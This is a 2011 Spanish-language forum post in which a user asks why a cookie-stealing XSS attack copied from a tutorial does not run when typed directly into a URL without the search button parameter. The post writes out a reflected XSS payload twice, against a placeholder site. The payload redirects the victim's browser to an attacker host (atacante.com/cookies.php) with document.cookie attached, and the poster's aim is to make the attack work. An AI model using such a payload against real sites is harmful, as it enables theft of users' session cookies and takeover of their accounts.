|
Título: Pregunta XSS Publicado por: pelonms7 en 10 Febrero 2011, 17:37 pm Saludos,
Estuve intentando el tutorial (http://foro.elhacker.net/tutoriales_documentacion/tutorial_ataques_xss-t32042.45.html) y me parece genial, lo malo es que no se estan guardando las cookies en el archivo txt, revisando una y otra ves el tutorial vi que en la ultima parte tiene el boton buscar (&buscar) para que se pueda ejecutar, yo NO lo estoy haciendo en el campo de busqueda lo estoy haciendo directamente en el URL, y vi que decia que necesita del boton buscar para que se pueda ejecutar, en este caso que no hay boton buscar como se hace para ejecutarlo asi deberia quedar http://www.vulnerable.com/buscador.php?palabra=<script>window.location='http://www.atacante.com/cookies.php?cookie='+document.cookie;</script>&buscar=; asi se ve el mio http://www.vulnerable.com/buscador.php?palabra=<script>window.location='http://www.atacante.com/cookies.php?cookie='+document.cookie;</script> como puedo hacer para que se ejecute? Saludos |